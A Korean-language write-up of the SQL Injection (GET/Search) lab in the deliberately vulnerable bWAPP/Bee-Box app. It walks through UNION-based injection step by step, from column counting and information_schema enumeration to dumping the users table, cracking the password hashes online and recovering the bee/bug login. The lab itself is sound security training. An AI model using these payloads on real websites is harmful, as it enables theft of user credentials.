Bee-Box(비박스) SQL Injection(GET/Search)

Bee-Box(비박스) SQL Injection(GET/Search)

 

사용자 입력 값이 영화 제목에 포함되어 있다면 해당 영화를 조회해서 보여주는 서비스로, 사이트의 취약점을 이용하여 해당 사이트에 등록된 사용자 계정 정보를 탈취하면 문제 해결

(1) Bee-Box에서 http://localhost/bWAPP/sqli_1.php 사이트로 이동하여 로그인 하고, 목록에서 SQL Injection(GET/Search)을 찾아 이동합니다. (bee/ bug)

bWAPP 로그인
SQL Injection 문제로 이동

 

(2) 사용자 값이 서버로 전달되는 과정을 확인합니다.

man 검색

SQL Injection(GET/Search) 사이트에서 오른쪽 마우스 클릭 > View Page Source 클릭

소스보기

=> 전달과정은

      GET /bWAPP/sqli_1.php?title=man&action=search

=> 서버 내부에서는 

      select * from movies(테이블명) where  title(컬럼명) like '%man%'

       테이블명과 컬럼명은 현재 알 수 없음

 

(3) 공격자가 원하는 값을 얻기 위해 입력값을 조작합니다.

공격자가 원하는 것은 해당 사이트에 등록된 사용자 계정 정보!

 

(3)-1 검색창에 man'을 검색합니다.

select * from movies where  title like '%man'%'

man' 검색

=> 에러 발생

 

에러를 통해 확인할 수 있는 것들을 파악합니다. 이 사이트의 DB는 MySQL을 사용하고 있습니다. 또한 입력값 검증, 제한 없이 그대로 쿼리문을 생성 및 실행에 사용하고 있습니다.

=> Injection 가능함을 확인

 

(4) UNION 구문을 사용하여 공격자가 원하는 값을 조회해보겠습니다.

select * from movies where title like '%man' UNION 공격자가 원하는 데이터를 조회하는 쿼리 -- %'

=> UNION 검은색 정상적인 쿼리의 실행결과와 공격자가 알고싶어하는 빨간색 쿼리의 실행결과를 합쳐주는 역할

=> -- 주석으로 #과 동일한 기능

=> man으로 끝나는 영화 정보와 공격자가 원하는 정보가 함께 출력됨

 

(4)-1 movies 테이블에 몇 개의 컬럼이 있는지를 조회합니다.

입력 값 >  select * from movies where title like '%man' or 'a' = 'a' order by 1 -- %' (뒤에 띄어쓰기 있음)

=> movies 테이블의 모든 데이터를 조회할건데, 조회결과에서 첫번째 컬럼 값을 기준으로 정렬

컬럼은 1개 이상

 

컬럼은 5개 이상
컬럼은 8개 미만

=> 컬럼의 개수는 7개임을 확인하였습니다.

 

(4)-2 데이터 타입에 관계없이 결합이 가능하도록 쿼리를 수정합니다.

입력 값 > select * from movies where title like '%man' and 'a' = 'b' union select 1,2,3,4,5,6,7 -- %'

=> 'a' = 'b' 항상 거짓이 도는 조건을 추가 

사용 컬럼은 4개

=> 7개의 컬럼 중 4개의 컬럼을 사용하는 것을 확인하였습니다.

 

(5) 이제는 데이터베이스의 정보를 알아내고자 합니다.

입력 값 > select * from movies where title like '%man' and 'a' = 'b' union select 1,@@version,3,4,5,6,7 -- %'

=> 두 번째 컬럼에 DB 버전을 출력

DB 버전 정보 출력

(5)-1 데이터베이스가 제공하는 시스템테이블을 이용한 정보 조회를 해보겠습니다.

[참고문서]

https://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-table.html

https://dev.mysql.com/doc/refman/8.0/en/information-schema-tables-table.html

참고문서 중

(5)-2 해당 시스템의 데이터베이스에 생성되어 있는 테이블 목록을 조회합니다.

입력 값 > select * from movies where title like '%man' and 'a' = 'b' union select 1, TABLE_NAME, TABLE_TYPE, 4, 5, 6, 7 from information_schema.tables -- %'

=> 두 번째 컬럼에서 테이블명을 볼 수 있는데, 공격자가 원하는 정보가 users 테이블에 있을 것 같다(유추)

 

(5)-3 users 테이블의 컬럼 정보를 조회합니다.

입력 값 > select * from movies where title like '%man' and 'a' = 'b' union select 1, TABLE_NAME, COLUMN_NAME, 4, 5, 6, 7 from information_schema.columns where table_name='users'-- %'

=> id, login, password, email, secret 컬럼에 공격자가 원하는 정보가 있을 것 같다(유추)

 

(5)-4 컬럼의 값을 조회합니다.

입력 값 > select * from movies where title like '%man' and 'a' = 'b' union select 1, concat(id,':',login), password, email, secret, 6, 7 from users-- %'

(5)-5 조회한 컬럼 값 중 password를 패스워드 크래킹을 통해 확인해보겠습니다.

패스워드 크래킹 사이트 : https://crackstation.net/

 

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

crackstation.net

패스워드 크래킹

 

(6) 문제 해결

>> 해당 사이트에 등록된 사용자 계정 정보를 탈취 <<

ID: A.I.M / PW: bug

ID: bee / PW: bug